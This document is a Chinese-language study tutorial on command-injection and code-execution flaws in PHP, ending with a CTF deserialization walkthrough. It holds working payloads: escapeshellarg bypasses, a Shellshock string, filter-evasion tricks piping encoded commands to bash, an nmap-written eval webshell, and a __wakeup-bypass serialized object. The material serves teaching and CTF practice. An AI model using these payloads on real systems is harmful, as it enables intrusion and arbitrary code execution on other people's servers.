命令执行&代码执行

命令执行(RCE)漏洞和代码执行漏洞区别如下:

  • 命令执行则是调用操作系统命令进行执行
  • 代码执行实际上是调用服务器网站代码进行执行

命令执行漏洞(RCE)

当开发人员调用了执行系统命令的函数,而其中的函数参数用户可以控制,届时就有了利用机会

1.代码层过滤不严格

调用的第三方组件存在代码执行漏洞常见的命令执行函数

  • PHP:exec、shell_exec、system、passthru、popen、proc_open等
  • Java:Runtime.exec(String command)、ProcessBuilder(String… command)、ProcessBuilder.Redirect、ProcessBuilder.start()等

这里有几个常用的系统命令执行函数(PHP)

exec():

执行外部程序,但只返回最后一行的输出结果

1
2
3
4
5
6
函数原型
bool exec(string $command,array $output,int $return_var)
(必需)$command: 要执行的命令
$output: 一个引用数组,用于存储命令的输出
$return_var: 一个引用变量,用于存储命令的退出状态
(如果外部程序成功执行,返回 0;如果执行失败,返回一个非 0 的值)

system():

执行外部程序并显示输出结果

1
2
3
4
5
函数原型
string system(string $command, int $return_var, array $output)
(必需)$command: 要执行的命令
$return_var: 一个引用变量,用于存储命令的退出状态
$output: 一个引用数组,用于存储命令的输出,这个参数是 PHP 5.0.0 以上版本的扩展参数,用于捕获命令的输出

shell_exec():

执行一个通过 shell 调用的命令,并将完整的输出捕获为字符串返回

1
2
3
函数原型
string shell_exec(string $command)
$command: 要执行的命令,如果命令执行失败或者命令没有输出,返回 NULL

passthru():

执行外部程序,并将原始输出直接传递给浏览器

1
2
3
4
函数原型
void passthru(string $command ,array $output)
(必须)$command: 要执行的命令
$output: 用于存储命令的输出。然而,尽管提供了这个参数,passthru() 并不会使用它来捕获输出,因为输出会被直接发送到浏览器。这个参数在 passthru() 函数中实际上是被忽略的

区别:

总体而言,system()、passthru()函数是可以不需要echo来进行显出的,而exec()、shell_exec()是需要的;此外,除passthru()外引入变量进行储存输出结果是为了方便进行后续处理,对于system函数要用到缓冲输出ob_start(),使其不会立马显示输出结果,并且可以对其进行后续处理

1
2
3
ob_start(); 
system('ls -l');
$output = ob_get_clean();
  • system 是最灵活的,可以捕获输出并获取退出状态
  • exec 类似于 system,但只返回最后一行输出
  • shell_exec 用于获取整个命令的输出结果
  • passthru 用于直接将命令的原始输出传递给浏览器

popen():

打开一个管道,以便与一个程序建立通信,返回一个文件指针,可以用来读取或写入数据

1
2
3
4
5
6
函数原型
popen(string $command, string $mode): resource | false
$command 是必需的参数,指定要执行的命令
$mode 是必需的参数,指定连接模式
'r': 只读模式
'w': 只写模式(打开并清空已有文件或创建一个新文件)

现在,如果对于用户的命令输入不进行过滤,当输入ls -l、rm -rf等可查看当前目录所有文件夹或者删除文件,这些命令会造成极大的危害,我们可以通过建立白名单的方式去限制用户的输入;也可以通过PHP配置文件里disable_functions = 配置,禁止某些PHP函数

2.escapeshellarg()/escapeshellcmd()函数

1
2
3
escapeshellarg(string$arg):string 在参数的两边加上单引号(Windows中是双引号),并对内部的单引号进行转义(确保用户只传递一个参数给命令)

escapeshellcmd(string$command):string 对字符串中可能会欺骗 shell 命令执行任意命令的字符进行转义,确保用户输入的数据不会影响shell命令的结构,保证用户输入的数据在传送到 exec()或 system()函数,或者执行操作符之前进行转义(*&#;`|*?~<>^()[]{}$*, \x0A和\xFF)(确保用户只执行一个命令)

这两个函数在php本意是防止用户输入的数据被解释为shell命令的一部分,从而执行未授权的命令,但依旧可以去进行绕过

escapeshellarg()函数造成的参数注入(gitlist 0.6.0远程命令执行漏洞)

gitlist是一款使用PHP开发的图形化git仓库查看工具,其中有一部分代码是

1
2
3
4
5
6
7
8
9
10
11
public function searchTree($query, $branch)
{
if (empty($query)) {
return null; ($query是搜索的关键字,$branch是搜索的分支)
}
$query = escapeshellarg($query);
try {
$results = $this->getClient()->run($this, "grep -i --line-number {$query} $branch");
} catch (\RuntimeException $e) {
return false;
}

当$query=—open-files-in-pager=id;时我们看看变成了什么

1
git grep -i --line-number '--open-files-in-pager=id;' master
1
Linux 中通常使用 - 或者 -- 来作为选项(Option)的标识符

这里就发生了id命令注入(用于显示当前用户的用户ID和组ID信息),可以看到并不是所有的输入加上单引号都会变成字符串, 原因在于—open-files-in-pager=id;整体是一个参数选项,shell解释器会将—后面的内容视为参数值,单引号包裹使之成为字符串的前提是这个字符串应出现在参数值的位置,并非参数选项

参数:参数值是在命令行或函数调用中,用来传递具体数据或信息给程序或函数的部分。它是某个参数的实际取值

参数选项:参数选项是用来配置程序或函数行为的标志或开关。它不包含具体的数值,而是用于启用或禁用某些功能

对此有以下解决方案:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
git grep -i --line-number -e '--open-files-in-pager=id;' master
-e 选项实际上是 git grep 命令的一个参数,后面跟着的是搜索模式 example,即你想要在代码中查找的文本,届时,'--open-files-in-pager=id;'就变成了字符串

------------------------------------------------------------------------------------------------------------

public function searchTree($query, $branch)
{
if (empty($query)) {
return null;
}
$query = preg_replace('/(--?[A-Za-z0-9\-]+)/', '', $query);
$query = escapeshellarg($query);
try {
$results = $this->getClient()->run($this, "grep -i --line-number -- {$query} $branch");
} catch (\RuntimeException $e) {
return false;
}
这里用preg_replace函数将-开头的非法字符串移除,并拼接在--后面

escapeshellarg()和escapeshellcmd()组合使用造成的参数注入

1
2
3
4
5
6
<?php
$a='nmap';
echo $a.escapeshellcmd(escapeshellarg("'<?php eval(muma); ?> -oG shell.php'"))
?>
输出:
namp ''\\'' \<\?php eval\(muma\)\; \?\> -oG shell.php '\\'''

最终将会非法写入一个一句话木马文件

3.系统漏洞造成命令注入(Bash Shellshock破壳漏洞CVE-2014-6271)

在以前的应用bash的unix/linux系统中,进行一些网络服务器部署时,使用bash处理一些请求

1
GNU项目(一种类unix系统)下发布的命令行解释器,有进行一些文本处理,自动化任务等操作功能

在GNU Bash 4.3及之前版本构造的环境变量存在安全漏洞,向环境变量值内的函数定义后添加多余的字符串会触发此漏洞,攻击者可利用此漏洞改变或绕过环境限制,以执行Shell命令,可能造成一些远程控制等危害

如果一个环境变量以(){开头,Bash会将其解析为一个函数定义,而不是一个普通的字符串,当我们构造

1
2
3
4
5
6
7
8
() { :; }; ls -l /etc
:是一个空命令,不执行任何操作,但这个环境变量被导出到Bash环境中,Bash在执行env命令(查看当前会话中的所有环境变量及其值)或其他可能触发环境变量解析的命令时,就会泄露/etc目录内容

x() { ls -l /etc; }或者说我们执行x函数后,也能触发我们的恶意代码(环境变量在子进程解释成了函数执行)

export shell=x
$shell
现在,当有命令或者是服务触发这个变量时,就会一并执行恶意代码

可以看到漏洞本身在于执行enc命令,其并不能直接造成远程代码执行,要借助第三方(服务程序)作为媒介才能够实现

4.命令拼接符号及一些绕过方法

;(Unix/Linux) &(Windows)

1
2
3
command1; command2
command1& command2
连续执行多个命令,即使前一个命令失败,后一个命令也会执行

&&

1
2
command1 && command2
前一个命令成功执行(返回状态码为0)时,后一个命令才会执行

||

1
2
command1 || command2
前一个命令失败(返回状态码非0)时,后一个命令才会执行

|

1
2
command1 | command2
前一个命令的输出作为后一个命令的输入(参数)

重定向符号

1
2
3
4
5
6
7
8
9
10
11
command1 > output.txt
>:将结果输出到文件中,该文件原有内容会被删除
command2 < input.txt
<:从文件读取输入作为命令的参数(但通常会直接省略,例如:cat < 1.txt我们可以直接写成cat 1.txt,此时我们没有明确指定输入来源时,命令默认会从标准输入(stdin)读取数据)
command3 >> log.txt
>>:命令的输出追加到文件末尾,而不是覆盖文件
command4 << 分隔符
<<:一段文本或一个文件的内容重定向为命令的输入,直至遇到分隔符(可以是任何字符串,例如:cat << EOF
This is the first line of text.
This is the second line of text.
EOF)

转义符号\(Linux)^(Windows)

命令绕过空格:

1
2
3
4
5
6
${IFS}$9($后可以接任意数字,始终为空字符)、{IFS}、$IFS、${IFS}、$IFS$1、IFS
< 、<>
{cat,flag.php} 用逗号实现了空格功能,需要用{}括起来
%20 (space)
%09 (tab)
X=$'cat\x09./flag.php';$X (也可以用\x20)

命令绕过读文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
例如,cat被禁用,我们可以替换成:
more:一页一页的显示档案内容
less:与 more 类似,可以PGUP,PGON翻页
head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看
file -f:报错出具体内容

或者在cat,flag中间某个位置添加\、''、""的特殊字符绕过
添加$1、$2等、$@、${1}等进行空变量绕过
添加$a,$b这样的未初始化的变量(值为NULL)在末尾进行绕过(cat$a flag$a)

变量拼接:
if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
die("fxck your flag!");
贪婪匹配,这里是看flag是否按顺序出现过
a=fl;b=ag;cat$IFS$a$b
a=g;cat$IFS$1fla$a.php

通配符绕过

1
2
3
4
5
*    匹配全部字符(*.txt匹配所有扩展名为.txt的文件)
? 任意一个字符(le?.txt匹配le1.txt、leA.txt 等)
[] 表示一个范围([abc] 匹配 a、b、c中的任意一个字符)
{} 产生一个序列(a{3}:表示字符a连续出现三次,将匹配aaa;a{2,}:表示字符a连续出现至少两次,将匹配 aa、aaa、aaaa等
a{2,4}:表示字符a连续出现的次数在2到4次之间,包括2次和4次,将匹配 aa、aaa、aaaa)

编码绕过

base64

1
2
3
echo Y2F0IGZsYWc=|base64 -d|bash
Y2F0IGZsYWc=是cat flag的base64编码;-d表示解码操作;bash是Linux的命令解释器
如果bash被过滤可用sh

hex

1
2
3
4
echo 63617420666c6167|xxd -r -p|bash
xxd 是一个十六进制转义序列的工具,通常用于将二进制文件转换为十六进制表示,或者反过来
-r 进行反向转换,即从十六进制转换回二进制
-p 以十六进制字节对的原始形式输出,而不是以可打印的ASCII字符形式输出

8进制、unicode编码……

内联执行(反引号``绕过)

1
2
cat$IFS$9`ls`
将反引号内命令的输出作为输入执行(`命令`和$(命令)都是执行命令的方式)

绕过长度限制(利用重定向符号>、>>)

1
2
3
4
5
6
7
8
9
10
echo "ca\\">shell
echo "t\\">>shell
echo " fl\\">>shell
echo "ag">>shell

cat shell
ca\
t\
fl\
ag

5.MSF

Metasploit Framework 对于漏洞的利用(永恒之蓝造成的RCE)……

msf中有很多漏洞模块,当我们想知道目标系统是否存在该漏洞时,就可以用对应的exploit模块可以用来验证和利用这个漏洞

代码执行漏洞

1.eval

可以接受一个包含PHP代码的字符串作为参数,并像在PHP脚本中一样执行这段代码

1
2
3
4
<?php
@eval($_POST['quar']);
?>
@ 符号是 PHP 的错误抑制操作符

2.assert

用于执行一个断言。它接受两个参数:第一个参数是要验证的表达式,第二个参数是当表达式为假时显示的错误消息

1
assert($value > 0, 'Value must be greater than zero');

3.preg_replace

这个函数用于执行正则表达式搜索和替换。它接受三个参数:第一个参数是正则表达式模式,第二个参数是用于替换的字符串或数组,第三个参数是要搜索和替换的原始字符串

1
2
3
4
$pattern = '/[a-z]/';     匹配从a到z的任何单个字符
$replacement = 'X';
$subject = 'abc';
$result = preg_replace($pattern, $replacement, $subject);

image-20240316200023380

4.call_user_func

接受一个回调函数作为第一个参数,然后执行它,可以传递任意数量的额外参数给回调函数

1
2
3
call_user_func (callable $callback ,mixed $parameter)
$callback:调用的回调函数的名称,或者是一个包含对象引用和方法名的数组
$parameter:这是传递给回调函数的一个或多个参数

image-20240316200138761

5.反序列化

序列化:把对象转换为字节序列的过程,即把对象转换为可以存储或传输的数据的过程。例如将内存中的对象转换为二进制数据流或文件,在网络传输过程中,可以是字节或是XML等格式。

反序列化:把字节序列恢复为对象的过程,即把可以存储或传输的数据转换为对象的过程。例如将二进制数据流或文件加载到内存中还原为对象。

漏洞原理:

在Python和PHP中,一般通过构造一个包含魔术方法(在发生特定事件或场景时被自动调用的函数,通常是构造函数或析构函数)的类,然后在魔术方法中调用命令执行或代码执行函数,接着实例化这个类的一个对象并将该对象序列化后传递给程序,当程序反序列化该对象时触发魔术方法从而执行命令或代码。在Java中没有魔术方法,但是有反射(reflection)机制,在程序的运行状态中,可以构造任意一个类的对象,可以了解任意一个对象所属的类,可以了解任意一个类的成员变量和方法,可以调用任意一个对象的属性和方法,这种动态获取程序信息以及动态调用对象的功能称为Java语言的反射机制。一般利用反射机制来构造一个执行命令的对象或直接调用一个具有命令执行或代码执行功能的方法实现任意代码执行

[极客大挑战 2019]PHP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php
include 'flag.php';


error_reporting(0);


class Name{
private $username = 'nonono';
private $password = 'yesyes';

public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}

function __wakeup(){
$this->username = 'guest';
}

function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();


}
}
}
?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
class Name{
private $username = 'nonono';
private $password = 'yesyes';

public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
}
$a=new Name('admin',100);
echo serialize($a);
?>
这是根据源码进行的序列化过程最后输出
1
2
3
4
5
6
7
8
O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}

在PHP序列化格式中,o 表示序列化的数据是一个对象,s 表示字符串值,而数字(如 14 和 5)表示字符串的长度。冒号 : 用于分隔键名和值。在这个例子中:
O:4:"Name" 表示一个对象,类名为 Name,对象的大小(或者说属性数量)为4。
s:14:"Nameusername" 表示一个属性名,长度为14个字符,属性名是 "Nameusername"。
s:5:"admin" 表示属性 "Nameusername" 的值是一个长度为5的字符串,即 "admin"。
s:14:"Namepassword" 表示另一个属性名,长度为14个字符,属性名是 "Namepassword"。
i:100; 表示属性 "Namepassword" 的值是一个整数,即 100

PHP中常用魔术方法

1
2
3
4
5
6
7
8
__construct:当对象被创建时调用
__destruct:当对象被销毁前调用
__sleep:执行serialize函数前调用
__wakeup:执行unserialize函数前调用
__call:在对象中调用不可访问的方法时调用
__callStatic:用静态方法调用不可访问方法时调用
__get:获得类成因变量时调用
__set:设置类成员变量时调用

PHP中序列化后的数据中并没有像Python一样包含函数__constructprint的信息,而仅仅是类名和成员变量的信息。因此,在unserialize函数的参数可控的情况下,还需要代码中包含魔术方法才能利用反序列化漏洞

于是我们将参数值给select,这时候问题来了,在反序列化的时候会首先执行__wakeup()魔术方法,但是这个方法会把我们

的username重新赋值,所以我们要考虑的就是怎么跳过__wakeup(),而去执行__destruct

1
然而,PHP的反序列化机制存在一个逻辑检查,用于确保序列化字符串中的属性数量与实际类中定义的属性数量相匹配。如果在序列化字符串中声明的属性数量多于实际类中定义的属性数量,PHP会认为序列化数据可能不完整或者格式不正确,因此会跳过__wakeup()方法的调用。这样做是为了防止潜在的错误或者不可预测的行为,因为如果序列化数据不准确,__wakeup()方法中的代码可能会尝试访问不存在的属性,导致错误或者异常

处理私有属性:在PHP中,私有属性(使用private关键字声明)在序列化时,其类名和属性名前会被加上\0前缀。攻击者在构造序列化字符串时,也必须包含这些前缀,以确保私有属性被正确处理

1
O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}